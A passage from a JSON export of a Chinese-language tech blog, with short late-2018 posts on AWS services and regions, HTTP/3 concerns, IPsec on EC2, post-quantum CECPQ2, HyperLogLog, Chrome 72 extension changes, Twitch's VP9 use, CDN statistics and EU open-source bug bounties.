    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 開始陸陸續續在推出有 100Gbps 能力的 EC2 instance 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-ec2-p3dn-gpu-instances-with-100-gbps-networking-local-nvme-storage-for-faster-machine-learning-p3-price-reduction/\">New – EC2 P3dn GPU Instances with 100 Gbps Networking &amp; Local NVMe Storage for Faster Machine Learning + P3 Price Reduction</a>」。\r\n\r\n從「<a href=\"https://aws.amazon.com/ec2/instance-types/\">Amazon EC2 Instance Types</a>」這邊可以看到先前只有 <code>c5n.18xlarge</code> 有支援 100Gbps 網路，現在推出的 <code>p3dn.24xlarge</code> 是第二個支援的...\r\n\r\n另外是 P3 系列的降價消息，比較奇怪的是從 2018/12/06 開始生效，而不是從月初開始。另外區域與條件也有一些複雜，有常在用的人可以翻一下說明...",
    "title": "EC2 開始陸續推出支援 100Gbps 網路的機器"
  },
  {
    "id": "8626",
    "body": "這篇整理了 HTTP/3 (QUIC) 的反面看法，算是常見的疑慮都列出來了：「<a href=\"https://calendar.perfplanet.com/2018/quic-and-http-3-too-big-to-fail/\">QUIC and HTTP/3 : Too big to fail?!</a>」。\r\n\r\n其實大多都是使用 UDP 而導致的問題：\r\n\r\n<ul>\r\n\t<li>因為 UDP 導致 firewall 可能沒開，以及可能會需要等 timeout 走回 TCP 的問題。</li>\r\n\t<li>因為 UDP 變成很多事情在 userland 處理，而導致的 CPU 使用率比使用 TCP 的 TLS 1.2/1.3 高很多。</li>\r\n\t<li>因為 UDP 導致 amplification attack 的安全性問題，以及對應的 workaround 產生的頻寬議題。</li>\r\n\t<li>由於 UDP 會需要自己控制擁塞，等於是在 UDP 上面又重做了一次 TCP congestion algorithm，而且因為重作所以得考慮與 TCP 搶資源的公平性。</li>\r\n</ul>\r\n\r\n整篇文章算是整理了一般對 HTTP/3 的疑慮，之後如果有進展的話，可以再拿出來當 checklist 再確認有哪些有改善...",
    "title": "HTTP/3 (QUIC) 的反面看法"
  },
  {
    "id": "8627",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2018/07/13/8406/amazon-ebs-snapshot-%E6%94%AF%E6%8F%B4-lifecycle-management/\">Amazon EBS Snapshot 支援 Lifecycle Management</a>」這邊提到 <a href=\"https://aws.amazon.com/\">AWS</a> 設計了 Data Lifecycle Manager，讓 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 磁碟可以自動產生 snapshot 並且管理保留份數，可以當作某種備份機制。\r\n\r\n七月公告當時只開放了少數幾區：\r\n\r\n<blockquote>Availability – Data Lifecycle Manager is available in the US East (N. Virginia), US West (Oregon), and Europe (Ireland) Regions.</blockquote>\r\n\r\n剛剛發現在東京也已經可以用了？但好像沒看到有公告提過... 設下去看看會不會動好了。",
    "title": "AWS 給 EBS 用的 Data Lifecycle Manager 在東京可以用了？"
  },
  {
    "id": "8628",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 在北美增加了一堆節點：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/12/cloudfront-dec2018-10-edge-locations/\">Amazon CloudFront announces ten new Edge locations in North America, Europe, and Asia</a>」。\r\n\r\n北美一口氣增開了八個，提升了 40% 的 capacity：\r\n\r\n<blockquote>Amazon CloudFront announces ten new Edge locations, adding to our global presence. Eight of the new Edge locations are in North America: Houston, Texas (our first location in this city), Chicago, Illinois, Newark, New Jersey, Los Angeles, California, and Ashburn, Virginia. We also added an Edge location in Berlin, Germany, as well as one in Tokyo, Japan.\r\n\r\nWith this launch, CloudFront will increase its request processing capacity by up to 40%, on average, in the North American cities.</blockquote>\r\n\r\n另外不怎麼意外的又增加了東京...",
    "title": "CloudFront 在北美增加了一堆節點..."
  },
  {
    "id": "8629",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 開了 Stockholm 區 (<code>eu-north-1</code>)：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-europe-stockholm-region/\">Now Open – AWS Europe (Stockholm) Region</a>」。\r\n\r\n在「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-europe-stockholm-region/\">In the Works – AWS Region in Hong Kong</a>」這邊宣佈香港區會在 2018 開放，現在只剩下兩個多禮拜的時間了。\r\n\r\n可以看到 subdomain 已經準備好，但還沒上線 (查 <code>ap-southeast-4</code> 的 NS RR 是直接給 <code>NXDOMAIN</code>)：\r\n\r\n<pre>;; AUTHORITY SECTION:\r\nap-southeast-3.amazonaws.com. 900 IN    NS      dns-01.amazonaws.com.\r\nap-southeast-3.amazonaws.com. 900 IN    NS      dns-02.amazonaws.com.</pre>\r\n\r\n只好繼續等了...",
    "title": "AWS 的瑞典機房開了，那香港呢..."
  },
  {
    "id": "8630",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 發了一篇關於在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上面疊 <a href=\"https://en.wikipedia.org/wiki/IPsec\">IPsec</a> 的方式：「<a href=\"https://aws.amazon.com/blogs/security/creating-an-opportunistic-ipsec-mesh-between-ec2-instances/\">Creating an opportunistic IPSec mesh between EC2 instances</a>」。\r\n\r\n這個需求主要是因為 AWS 一直沒有保證在同一區的流量有加密 (包括了同一個機房的流量、同一個 AZ 但不同機房的流量，以及同一區跨 AZ 之間的流量)，甚至跨帳號間的 VPC Peering 都不保證有加密，只說「跟兩台 instance 之間的溝通相同」，用詞很小心 (參考「<a href=\"https://aws.amazon.com/vpc/faqs/\">Amazon VPC FAQs</a>」這邊的說明)：\r\n\r\n<blockquote>Q. Is VPC peering traffic within the region encrypted?\r\n\r\nNo. Traffic between instances in peered VPCs remains private and isolated – similar to how traffic between two instances in the same VPC is private and isolated.</blockquote>\r\n\r\n目前唯一有保證的是跨區的 Inter-Region VPC Peering 服務有加密：\r\n\r\n<blockquote>Q. Is Inter-Region VPC Peering traffic encrypted?\r\n\r\nTraffic is encrypted using modern AEAD (Authenticated Encryption with Associated Data) algorithms. Key agreement and key management is handled by AWS.</blockquote>\r\n\r\n在 2013 年 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 揭露的消息可以知道 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 的機房都被 <a href=\"https://www.nsa.gov/\">NSA</a> 盯上，截聽內部跨機房的流量：「<a href=\"https://www.washingtonpost.com/news/the-switch/wp/2013/11/04/how-we-know-the-nsa-had-access-to-internal-google-and-yahoo-cloud-data/\">How we know the NSA had access to internal Google and Yahoo cloud data</a>」。\r\n\r\n沒什麼道理 AWS 的就不被盯上，所以對於高度敏感的應用來說，還是會希望在 AWS 能對於離開建築物的流量提供加密。\r\n\r\n但在這之前，只能透過自己補上加密機制來解決，也就是這篇在 EC2 上面疊 IPsec overlay network 的前提。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p0R0sdK.webp\" /><img src=\"https://i.gslin.com/imgur/p0R0sdK.jpg\" alt=\"\" /></picture>\r\n\r\n可以在文章裡看到使用了不少 AWS 自家的服務，避免需要自己架設 server 管理 (得自己處理 High Availability 的問題)。\r\n\r\n裡面主要是用了 <a href=\"https://aws.amazon.com/kms/\">KMS</a> 存放憑證，以及使用 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 發每一台 EC2 instance 所需要的金鑰，這兩個都是直接拿 AWS 的服務，就省下不少事情了。",
    "title": "在 EC2 上面疊 IPsec"
  },
  {
    "id": "8632",
    "body": "<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 也推出了 <a href=\"https://kubernetes.io/\">Kubernetes</a> (K8s) 服務：「<a href=\"https://blog.digitalocean.com/digitalocean-releases-k8s-as-a-service/\">Managing Kubernetes Just Got a Lot Simpler</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/HrwhTu5.gif\" alt=\"\" />\r\n\r\n因為 K8s 把 service discovery 與 load balancer 之類的服務都包進去了，算是一個小型的 cloud service。\r\n\r\n不過 DigitalOcean 的 CPU 是出了名的慢，對於運算量的工作用起來不怎麼划算，不知道其他 VPS 會不會也在最近幾個月跟進推出...",
    "title": "DigitalOcean 也推出 Kubernetes 的服務"
  },
  {
    "id": "8636",
    "body": "<a href=\"https://en.wikipedia.org/wiki/CECPQ1\">CECPQ1</a> 是 <a href=\"https://www.google.com/\">Google</a> 在研究對抗量子電腦的演算法，作為測試用的演算法，曾經在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 的 54 beta 版 (2016 年) 存活過一段時間，最近又開始在開發新一代的演算法 CECPQ2 了，這次會是基於 TLS 1.3 上測試：「<a href=\"https://www.imperialviolet.org/2018/12/12/cecpq2.html\">CECPQ2</a>」。\r\n\r\n<blockquote>CECPQ2 will be moving slowly: It depends on TLS 1.3 and, as mentioned, 1.3 is taking a while. The larger messages may take some time to deploy if we hit middlebox- or server-compatibility issues. Also the messages are currently too large to include in QUIC. But working though these problems now is a lot of the reason for doing CECPQ2—to ensure that post-quantum TLS remains feasible.</blockquote>\r\n\r\n目前對抗量子電腦的演算法好像都跟 <a href=\"https://en.wikipedia.org/wiki/Lattice-based_cryptography\">Lattice</a> 有關，找時間來補一下基礎理論... @_@",
    "title": "所以要開始開發 CECPQ2 了..."
  },
  {
    "id": "8637",
    "body": "看到 <a href=\"https://www.facebook.com/\">Facebook</a> 在 <a href=\"https://prestodb.io/\">Presto</a> 裡增加使用 <a href=\"https://en.wikipedia.org/wiki/HyperLogLog\">HyperLogLog</a> 計算數量的能力，突然想到常常忘記這兩個拿準確度換速度的資料結構：「<a href=\"https://code.fb.com/data-infrastructure/hyperloglog/\">HyperLogLog in Presto: A significantly faster way to handle cardinality estimation</a>」。\r\n\r\nHyperLogLog (HLL) 是解決 <a href=\"https://en.wikipedia.org/wiki/Count-distinct_problem\">Count-distinct problem</a> 的資料結構，用很少的記憶體就可以給出一個誤差不大的值 (用 1.5KB 的空間處理十億等級的資料，誤差大約在 2%)，所以 Presto 利用這個資料結構引進了 <code>APPROX_DISTINCT()</code> 以及其他的函數，就很容易在 L2/L3 cache 裡運算，藉此大幅提昇速度。\r\n\r\n<blockquote>Depending upon the problem at hand, we can achieve speed improvements of anywhere from 7x to 1,000x.</blockquote>\r\n\r\n先前也提過 <a href=\"https://www.reddit.com/\">Reddit</a> 也用 HLL 統計資料：「<a href=\"https://blog.gslin.org/archives/2017/05/28/7351/reddit-%E5%9C%A8%E8%99%95%E7%90%86-page-view-%E7%9A%84%E6%96%B9%E5%BC%8F/\">Reddit 在處理 Page View 的方式</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Bloom_filter\">Bloom Filter</a> 也是在處理大量資料的問題，但這個資料結構的功能不太一樣，是給出「有沒有存在」，使用空間與誤差大約是 10 bits per key (1% false positive)，另外先前也有提到一些變形，可以提供其他功能。像是「<a href=\"https://blog.gslin.org/archives/2017/08/09/7500/quotient-filter/\">Quotient filter</a>」與「<a href=\"https://blog.gslin.org/archives/2016/08/08/6718/cuckoo-filter%EF%BC%9A%E6%AF%94-bloom-filter-%E5%A4%9A%E4%BA%86-delete/\">Cuckoo Filter：比 Bloom Filter 多了 Delete</a>」。",
    "title": "HyperLogLog 與 Bloom Filter"
  },
  {
    "id": "8638",
    "body": "在 <a href=\"https://www.apple.com/mac/\">Mac</a> 上還蠻常直接在 <a href=\"https://en.wikipedia.org/wiki/Spotlight_(software)\">Spotlight</a> 上打簡單的算式看計算的結果，但我的桌機是在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上，沒看到這個功能，所以都是用 search engine 幫忙算 (以前是 <a href=\"https://www.google.com/\">Google</a>，現在是 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a>)，但還是想要找個類似的東西看看能不能在本機處理掉...\r\n\r\n後來在「<a href=\"https://unix.stackexchange.com/questions/320913/can-you-get-something-like-unity-dash-especially-the-instant-calculator-in-oth\">Can you get something like Unity Dash--especially the instant calculator--in other distros?</a>」這邊看到 screenshot 的效果應該就是我想要的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KLCUiqD.webp\" /><img src=\"https://i.gslin.com/imgur/KLCUiqD.jpg\" alt=\"\" /></picture>\r\n\r\n不過發現預設好像不會開 (跟文章裡面提到的不太一樣)，所以又找了一段時間，發現在「<a href=\"https://askubuntu.com/questions/405995/how-to-permanently-enable-in-dash-calculator-in-13-10\">How to permanently enable in-dash calculator in 13.10</a>」這邊，River Satya 提到的方式是我要的：\r\n\r\n<ul>\r\n\t<li>Install dconf-editor <code>sudo apt install dconf-editor</code></li>\r\n\t<li>Run it <code>dconf-editor</code></li>\r\n\t<li>Open com.canonical.unity.lenses</li>\r\n\t<li>Add <code>info-calculator.scope</code> to the <code>always-search</code> list</li>\r\n\t<li>Profit!</li>\r\n</ul>\r\n\r\n改完後就會像 screenshot 出現了...",
    "title": "直接在 Ubuntu 的 Unity 上直接計算"
  },
  {
    "id": "8639",
    "body": "<a href=\"https://www.youtube.com/\">YouTube</a> 在 channel 與 user 頁面會自動播放會讓人覺得頗困擾 (頁面一打開就有聲音)，所以想要找看看有沒設定可以關掉... 找了之後發現很久前就有被問過，但是當時得到沒有這個功能的回答：「<a href=\"https://productforums.google.com/forum/#!topic/youtube/-AaFHhswicM\">How do I DISABLE autoplay from other channels on my YouTube channel?</a>」。\r\n\r\n既然如此就只能找套件來解了... 目前是透過 <a href=\"https://en.wikipedia.org/wiki/Userscript\">Userscript</a> 擋下自動播放，程式碼不長也蠻好懂的：「<a href=\"https://greasyfork.org/en/scripts/29422-disable-youtube-channel-user-home-page-video-autoplay\">Disable YouTube Channel/User Home Page Video AutoPlay</a>」。\r\n\r\n這樣總算是不會被聲音搞到...",
    "title": "把 YouTube 對 channel 與 user 的自動播放功能關掉..."
  },
  {
    "id": "8640",
    "body": "不知道為什麼在 feed reader 裡面沒注意到這則，後來是在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到的。\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://openvpn.net/\">OpenVPN</a>-based 的 VPN 服務 <a href=\"https://aws.amazon.com/vpn/\">AWS VPN</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/12/introducing-aws-client-vpn-to-securely-access-aws-and-on-premises-resources/\">Introducing AWS Client VPN to Securely Access AWS and On-Premises Resources</a>」。\r\n\r\n看起來是這個價錢：\r\n\r\n<blockquote>AWS Client VPN pricing\r\n$0.05 per AWS Client VPN connection hour\r\n$0.10 per AWS Client VPN endpoint association hour</blockquote>\r\n\r\n所以服務本身的費用要 $72/month 左右，另外 client 接上去的費用另外算？\r\n\r\n目前支援的區域有限，暫時只有歐美的大區：\r\n\r\n<blockquote>AWS Client VPN is available in US East (Virginia), US East (Ohio), US West (Oregon) and EU (Ireland) AWS Regions. Support for other AWS Regions is coming soon.</blockquote>",
    "title": "AWS 提供 OpenVPN-based VPN 服務"
  },
  {
    "id": "8641",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 在過節前推出 <a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server for MySQL</a> 8.0 了：「<a href=\"https://www.percona.com/blog/2018/12/21/announcing-general-availability-of-percona-server-for-mysql-8-0/\">Announcing General Availability of Percona Server for MySQL 8.0</a>」。\r\n\r\n在 <a href=\"https://www.oracle.com/\">Oracle</a> 版的 MySQL 8.0 多了不少功能，像是往 NoSQL 靠的功能與 GIS 相關的功能，但讓我注意到的是 Percona 自己的事情... <a href=\"https://en.wikipedia.org/wiki/TokuDB\">TokuDB</a> 因為 <a href=\"https://en.wikipedia.org/wiki/MyRocks\">MyRocks</a> 而要被放生了：\r\n\r\n<blockquote>Features Being Deprecated in Percona Server for MySQL 8.0\r\nTokuDB Storage Engine: TokuDB will be supported throughout the Percona Server for MySQL 8.0 release series, but will not be available in the next major release.  Percona encourages TokuDB users to explore the MyRocks Storage Engine which provides similar benefits for the majority of workloads and has better optimized support for modern hardware.</blockquote>",
    "title": "Percona 推出 MySQL 8.0 的對應版本了..."
  },
  {
    "id": "8643",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 jserv 轉推這則：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Robotic tiles for VR movement by Hiroo Iwata at the University of Tsukuba. <a href=\"https://t.co/InSQAqSl0l\">pic.twitter.com/InSQAqSl0l</a></p>&mdash; Machine Pix (@MachinePix) <a href=\"https://twitter.com/MachinePix/status/1076253632767582208?ref_src=twsrc%5Etfw\">December 21, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n算是某種 prototype？",
    "title": "解決 VR 移動的問題？"
  },
  {
    "id": "8645",
    "body": "因為被濫用的關係，加拿大決定禁止版權擁有人透過 ISP 發送版權侵害通知：「<a href=\"https://torrentfreak.com/canada-prohibits-piracy-settlement-demands-in-isp-copyright-notices-181218/\">Canada Prohibits Piracy Settlement Demands in ISP Copyright Notices</a>」。\r\n\r\n不過這個限制是有條件的，只有當通知裡面有包括任何形式的協議時才會被禁止：\r\n\r\n<blockquote>Moving forward, rightsholders will not be allowed to send copyright infringement notices for ISPs to pass onto their customers, if they contain a direct or indirect offer to settle.</blockquote>\r\n\r\n<a href=\"https://torrentfreak.com/\">TorrentFreak</a> 的文章裡也提到了，就是要阻止這樣的行為變成「產業」：\r\n\r\n<blockquote>The development effectively ends Rightscorp-style business models in Canada.</blockquote>\r\n\r\n這是條文：\r\n\r\n<blockquote>Bill C-86, the Budget Implementation Act, has now received royal assent, so there will be some big changes in the Great White North. Section 41.‍25 of the Copyright Act is now amended with the addition of the following;\r\n\r\n(3) A notice of claimed infringement shall not contain:\r\n\r\n(a) an offer to settle the claimed infringement;\r\n(b) a request or demand, made in relation to the claimed infringement, for payment or for personal information;\r\n(c) a reference, including by way of hyperlink, to such an offer, request or demand; and\r\n(d) any other information that may be prescribed by regulation.</blockquote>",
    "title": "加拿大禁止透過 ISP 發送版權侵害通知"
  },
  {
    "id": "8646",
    "body": "看到「<a href=\"http://richwhitehouse.com/index.php?postid=72\">DOOMBA</a>」這篇文章，介紹了 <a href=\"http://richwhitehouse.com/index.php?content=inc_projects.php&showproject=91\">Noesis</a> 這個工具，然後拿這個工具把 <a href=\"https://www.irobot.com/for-the-home/vacuuming/roomba\">Roomba</a> 的軌跡資料轉成 <a href=\"https://en.wikipedia.org/wiki/Doom_(1993_video_game)\">DOOM</a> 的地圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eh3i4uZ.webp\" /><img src=\"https://i.gslin.com/imgur/eh3i4uZ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AIFxrZ9.webp\" /><img src=\"https://i.gslin.com/imgur/AIFxrZ9.jpg\" alt=\"\" /></picture>\r\n\r\n第一個想法是「XDDD」，但第二個想法是「咦，程式怎麼不是放在 <a href=\"https://github.com/\">GitHub</a> 或是其他 Git Hosting 上面」...",
    "title": "把掃地機器人的資料轉成 DOOM 的地圖..."
  },
  {
    "id": "8647",
    "body": "看到「<a href=\"https://github.com/jjkaufman/wiv.js\">jjkaufman/wiv.js</a>」這個專案，然後點開他的 Demo Site「<a href=\"https://jjkaufman.github.io/wiv.js/\">The web site of coughdrop</a>」後笑出來，這把 2000 年網站的特色做到極致了... XD\r\n\r\n看程式碼可以看到主體是在 canvas 上操作，然後用 <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame\">requestAnimationFrame</a> 產生。",
    "title": "用 2018 的技術讓網頁更像 2000 年的網站..."
  },
  {
    "id": "8648",
    "body": "不太意外的，排名起來加州這一區的科技公司的薪資還是最高的 (這邊包括了所有的所得，包括薪資、股票與分紅)：「<a href=\"https://www.levels.fyi/2018/\">Top Paying Tech Companies of 2018</a>」。\r\n\r\n已經先整理出來的前五名分成「Entry-level / 1+ Yrs of Experience」、「Mid-level / 3+ Yrs of Experience」、「Been Around the Block / 5+ Yrs of Experience」三類，可以看到相對於年資的增加，薪資的調整也很快...\r\n\r\n不過這邊相同名次的不會佔多個位置，只會佔一名，跟我們平常用的方式不太一樣，所以雖然是前五名但是都有六個公司。",
    "title": "2018 年矽谷科技公司的薪資"
  },
  {
    "id": "8649",
    "body": "在「<a href=\"https://www.cnx-software.com/2018/12/26/banana-pi-24-core-arm-server/\">Banana Pi to Launch a 24-Core Arm Server</a>」這邊看到 <a href=\"http://www.banana-pi.org/\">Banana Pi</a> 打算推出 24 core 的 ARM server...\r\n\r\n看起來還蠻不錯的：\r\n\r\n<blockquote>We have 24-core Arm Cortex A53 processor with 32GB RAM (29.4GB seen by the OS) running Ubuntu 18.04.1 LTS with MATE desktop. There aren’t that many 24-core Arm Cortex A53 processors, so unless the company is using an announced processor, it has to be SocioNext SC2A11 processor also found in Linaro Developer Box.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/xMViM4L.jpg\" alt=\"\" />\r\n\r\n拿來當 desktop 好像也不錯，不知道最終的定價會是多少...",
    "title": "24 Core 的 ARM Server..."
  },
  {
    "id": "8650",
    "body": "我的桌機平常都是跑 beta channel 的 <a href=\"https://www.google.com/chrome/\">Chrome</a>，所以前陣子已經升級到 72，然後發現兩個問題：\r\n\r\n<ul>\r\n\t<li>我寫的 <a href=\"https://github.com/gslin/104-helper-userscript\">104-helper-userscript</a> 抓不到經濟部商業司的資料。</li>\r\n\t<li>有些網站的圖在 Feed Reader (<a href=\"https://bazqux.com\">BazQux</a>) 裡出不來。</li>\r\n</ul>\r\n\r\n從 dev console 可以看到問題都是 <code>Referer</code> 沒被送出，導致有檢查 <code>Referer</code> 的網站拒絕存取，後來在「<a href=\"https://developer.chrome.com/extensions/webRequest\">chrome.webRequest</a>」這邊發現是 Chrome 72+ 改了規則，裡面提到了：\r\n\r\n<blockquote>Starting from Chrome 72, the following request headers are not provided and cannot be modified or removed without specifying 'extraHeaders' in opt_extraInfoSpec:\r\n\r\nAccept-Language\r\nAccept-Encoding\r\nReferer\r\nCookie\r\n\r\nStarting from Chrome 72, the Set-Cookie response header is not provided and cannot be modified or removed without specifying 'extraHeaders' in opt_extraInfoSpec.</blockquote>\r\n\r\n不確定這個設計的目的是什麼，但反正已經中獎了，總是得回報給各 extension 的維護者讓他們修正 (用 beta channel 的重要任務之一？)。\r\n\r\n所以就先去 <a href=\"https://tampermonkey.net\">Tampermonkey</a> 開 ticket，也很迅速的在 beta 版修正了 (所以只能先改裝 beta 版)：「<a href=\"https://github.com/Tampermonkey/tampermonkey/issues/629\">GM_xmlhttpRequest unable to set referer in Chrome 72+ #629</a>」。\r\n\r\n另外跟 <a href=\"https://chrome.google.com/webstore/detail/referer-control/hnkcfpcejkafcihlgbojoidoihckciin\">Referer Control</a> 的開發者回報這個問題，也修正出新版上架了，更新就生效了：「<a href=\"https://keepa.com/refererControlDisqus.html\">refererControlDisqus.html</a>」。\r\n\r\n目前看起來還有「<a href=\"https://chrome.google.com/webstore/detail/spoofs-lang/ganfohdkddeoglcnnomhmfjiebfijbpf\">Spoofs Lang</a>」得修，不過這個軟體好久沒更新了，不知道有沒有機會...",
    "title": "Chrome 72+ (目前在 Beta 的版本) 對延伸套件的影響"
  },
  {
    "id": "8651",
    "body": "<a href=\"https://www.twitch.tv/\">Twitch</a> 整理了一篇「<a href=\"https://blog.twitch.tv/how-does-vp9-deliver-value-for-twitchs-esports-live-streaming-35db26f6322f\">How VP9 delivers value for Twitch’s esports live streaming</a>」，說明他們用 <a href=\"https://en.wikipedia.org/wiki/VP9\">VP9</a> 的經驗談。\r\n\r\n裡面有很大的篇幅是在講 VP9 與 <a href=\"https://en.wikipedia.org/wiki/H.264/MPEG-4_AVC\">H.264</a> 的比較，不過這兩個用的技術就已經不是同一個年代了，沒有進步的話就不用出來玩了... \r\n\r\n裡面有講到一些有趣的東西，像是提到是用 FPGA 即時壓縮：\r\n\r\n<blockquote>In this article, we will show that the FPGA-based real-time VP9 encoding can deliver at least 25% bitrate savings compared to the highest-quality H.264 encoders deployed in Twitch’s production today.</blockquote>\r\n\r\n然後提到 1080p60 至少省了 25% 的頻寬 (這邊應該是相較於 H.264)：\r\n\r\n<blockquote>VP9’s Compression Efficiency for Live 1080p60 Encoding: We Can Achieve At Least 25% Bitrate Savings</blockquote>\r\n\r\n查了一下，在桌機上的瀏覽器都差不多支援了：\r\n\r\n<blockquote>VP9 is implemented in these web browsers:\r\n\r\nChromium and Google Chrome (usable by default since version 29 from May and August 2013, respectively),\r\nOpera (since version 15 from July 2013),\r\nMozilla Firefox (since version 28 from March 2014),\r\nMicrosoft Edge (as of summer 2016).</blockquote>\r\n\r\n行動裝置的話 <a href=\"https://www.android.com/\">Android</a> 4.4+ 有支援，但在 <a href=\"https://www.apple.com/ios/\">iOS</a> 上沒有支援...\r\n\r\n整體看起來普及率算是不低，可以引入當主力 codec 降低頻寬成本，當設備不支援 VP9 時 (應該只有 iOS 透過 Safari 觀看的情況) 就用 H.264 stream 提供服務。",
    "title": "Twitch 用 VP9 直播..."
  },
  {
    "id": "8653",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://httparchive.org\">HTTP Archive</a> 分析各家 CDN 的使用情況，給了一個蠻意外的結果，可以看到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的佔比相當高：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Analysis of CDN usage by <a href=\"https://twitter.com/patmeenan?ref_src=twsrc%5Etfw\">@patmeenan</a><br><br>Cloudflare: 8.00%<br>Google: 4.06%<br>Akamai: 1.34%<br><br>See the query and full list here: <a href=\"https://t.co/4qVHiad6VV\">https://t.co/4qVHiad6VV</a></p>&mdash; ? HTTP Archive (@HTTPArchive) <a href=\"https://twitter.com/HTTPArchive/status/1079208361512615937?ref_src=twsrc%5Etfw\">December 30, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n進去看一下分析的方式，是拿 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 提供的資料來再進一步分析：\r\n\r\n<blockquote>As of December 15th 2018, the HTTP Archive is crawling the full list of desktop origins from the Chrome User Experience (CrUX) Report for the desktop crawls (mobile will be added as of January 1, 2019). The URL list used is the latest available at the time of the crawl (November 2018 in this case).</blockquote>\r\n\r\n這應該是出自「<a href=\"https://developers.google.com/web/tools/chrome-user-experience-report/\">Chrome User Experience Report</a>」這邊：\r\n\r\n<blockquote>The Chrome User Experience Report is powered by real user measurement of key user experience metrics across the public web, aggregated from users who have opted-in to syncing their browsing history, have not set up a Sync passphrase, and have usage statistic reporting enabled.</blockquote>\r\n\r\n由於有條件限制，可以預期會有偏差，不過以目前 Google Chrome 的市占率來說，應該是有意義的資料。而這份資料跑出來的數據看到 Cloudflare 的影響力遠遠超過其他 CDN 讓人頗意外...",
    "title": "HTTP Archive 分析 CDN 的使用情況..."
  },
  {
    "id": "8654",
    "body": "也是在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的，<a href=\"https://www.yahoo.com/\">Yahoo!</a> (<a href=\"https://www.oath.com\">Oath</a>) 決定對 <a href=\"https://www.tumblr.com/\">Tumblr</a> 上的 <a href=\"https://en.wikipedia.org/wiki/Not_safe_for_work\">NSFW</a> 類圖片下手後對流量的影響：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">The day that <a href=\"https://twitter.com/tumblr?ref_src=twsrc%5Etfw\">@tumblr</a> died is quite visible. (image source: <a href=\"https://twitter.com/netnod?ref_src=twsrc%5Etfw\">@netnod</a> traffic graphs) <a href=\"https://t.co/OS2bXontxE\">pic.twitter.com/OS2bXontxE</a></p>&mdash; Tom Paseka (@tompaseka) <a href=\"https://twitter.com/tompaseka/status/1077440060230840320?ref_src=twsrc%5Etfw\">December 25, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這張圖應該是出自「<a href=\"https://www.netnod.se/ix-stats/14all_ix-load-public.pl?log=stockholm.eqb2-blue.36\">Traffic Analysis for port 36:\"(36) Yahoo (AS 10310)\"</a>」這邊的資料，可以看到頗明顯的下降... 不過九月那個掉下來的部份又是什麼啊 :o",
    "title": "Tumblr 對 Yahoo! 流量的影響"
  },
  {
    "id": "8655",
    "body": "歐盟對於 14 套 open source 軟體推出 <a href=\"https://en.wikipedia.org/wiki/Bug_bounty_program\">bug bounty program</a>，協助改善這些軟體的品質 (主要是資安這塊)：「<a href=\"https://www.zdnet.com/article/eu-to-fund-bug-bounty-programs-for-14-open-source-projects-starting-january-2019/\">EU to fund bug bounty programs for 14 open source projects starting January 2019</a>」、「<a href=\"https://juliareda.eu/2018/12/eu-fossa-bug-bounties/\">In January, the EU starts running Bug Bounties on Free and Open Source Software</a>」。\r\n\r\n這十四套軟體的選擇應該可以參考「<a href=\"https://juliareda.eu/2016/07/eu-audits-keepass-apache/\">EU aims to increase the security of password manager and web server software: KeePass and Apache chosen for open source audits</a>」這邊...\r\n\r\n然後看到「Intigriti/Deloitte」這個才知道原來 <a href=\"https://www.deloitte.com/\">Deloitte</a> 也有做這個啊...",
    "title": "歐盟對十四套 Open Source 軟體推出 Bug Bounty Program"
  },
  {
    "id": "8656",
